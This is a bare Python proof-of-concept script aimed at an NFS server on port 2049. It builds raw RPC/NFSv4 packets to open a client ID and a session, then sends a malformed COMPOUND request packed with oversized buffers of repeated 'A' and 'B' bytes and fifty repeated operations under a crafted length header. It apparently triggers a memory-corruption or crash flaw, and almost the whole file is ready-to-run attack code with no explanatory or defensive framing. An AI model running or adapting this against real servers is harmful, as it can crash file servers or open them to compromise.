import socket import sys import binascii import time import struct TARGET_IP = "192.168.126.130" port=2049 TEST_MSG = b"\x80\x00\x00\x4c\x00\x00\x00\x01\x00\x00" \ b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \ b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x24\xda\x44\xd1\x44\x00\x00" \ b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \ b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock1.connect((TARGET_IP, port)) sock1.send(bytes(TEST_MSG)) sock1.settimeout(1.0) print("[+] Sent TestMSG for Async Call") TEST_MSG=b"\x80\x00\x00\xc4\x00\x00\x00\x02\x00\x00" \ b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \ b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x44\xd5\xd0\x00\x00" \ b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \ b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" \ b"\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \ b"\x00\x24\x37\x37\x35\x39\x62\x33\x31\x38\x2d\x32\x62\x65\x30\x2d" \ b"\x34\x30\x35\x65\x2d\x61\x66\x64\x38\x2d\x66\x66\x64\x62\x32\x35" \ b"\x38\x65\x64\x35\x34\x35\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00" \ b"\x00\x01\x00\x00\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00" \ b"\x00\x00\x00\x00\x00\x0b\x4e\x46\x53\x20\x43\x6c\x69\x65\x6e\x74" \ b"\x20\x00\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00" a=b"" sock1.send(bytes(TEST_MSG)) for i in range (4): try: a+=sock1.recv(1024) except: pass index=a.find(b"\x2a") print ("INDEX %s"%index) clientid=a[index+5:index+13] print("CLIENTID = %s"%clientid) seqid=a[index+13:index+13+4] #seqid = b'\x00\x00\x00\x01' print("SEQID = %s"%seqid) TEST_MSG=b"\x80\x00\x00\xd4\x00\x00\x00\x03\x00\x00" \ b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \ b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x4f\x96\x8c\x00\x00" \ b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \ b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" \ b"\x00\x01\x00\x00\x00\x2b"+ clientid+ seqid+ \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x14\x00\x10" \ b"\x03\x88\x00\x00\x0b\x34\x00\x00\x00\x50\x00\x00\x00\x80\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x40\x00" \ b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x3e\x4a\xf4\xb9\x00\x00" \ b"\x00\x0f\x44\x45\x53\x4b\x54\x4f\x50\x2d\x47\x43\x45\x36\x4f\x49" \ b"\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ #b"\x00\x00" sock1.send(bytes(TEST_MSG)) a=b"" for i in range (4): try: a+=sock1.recv(1024) except: pass index=a.find(b"\x2b") print ("INDEX %s"%index) session=a[index+5:index+5+16] print("SESSION = %s"%session) seqid = b'\x00\x00\x00\x01' STRING2= 0x400 * b"B" strlargo2=struct.pack(">L",len(STRING2)) pad= strlargo2 + STRING2 STRING3= 0x10 * b"A" strlargo3=struct.pack(">L",len(STRING3)) pad3= strlargo3 + STRING3 print("pad3 = %r"%pad3) num=50 oper= struct.pack(">L",2+num) TEST_MSG2=b"\x00\x00\x00\x04\x00\x00" \ b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \ b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x57\x45\xf3"+ pad3 + b"\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00" + pad3 + pad + b"\x00\x00\x00\x01" + oper +\ b"\x00\x00\x00\x35" + session+ seqid+ b"\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18" TEST_MSG =b"\x00\x00\x00\x2a\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \ b"\x00\x24\x37\x37\x35\x39\x62\x33\x31\x38\x2d\x32\x62\x65\x30\x2d" \ b"\x34\x30\x35\x65\x2d\x61\x66\x64\x38\x2d\x66\x66\x64\x62\x32\x35" \ b"\x38\x65\x64\x35\x34\x35\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00" \ b"\x00\x01\x00\x00\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00" \ b"\x00\x00\x00\x00\x00\x0b\x4e\x46\x53\x20\x43\x6c\x69\x65\x6e\x74" \ b"\x20\x00\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \ b"\x00\x00" TEST_MSG= TEST_MSG * num final= b"\x00"* 0x4 largo=len(TEST_MSG2+TEST_MSG+final) TEST_MSG1= b"\x80\x00"+ struct.pack(">h", largo) print("LENGTH = " + hex(largo)) print("Bytelength = %r"%TEST_MSG1) sock1.send(bytes(TEST_MSG1+TEST_MSG2+TEST_MSG+final)) time.sleep(5)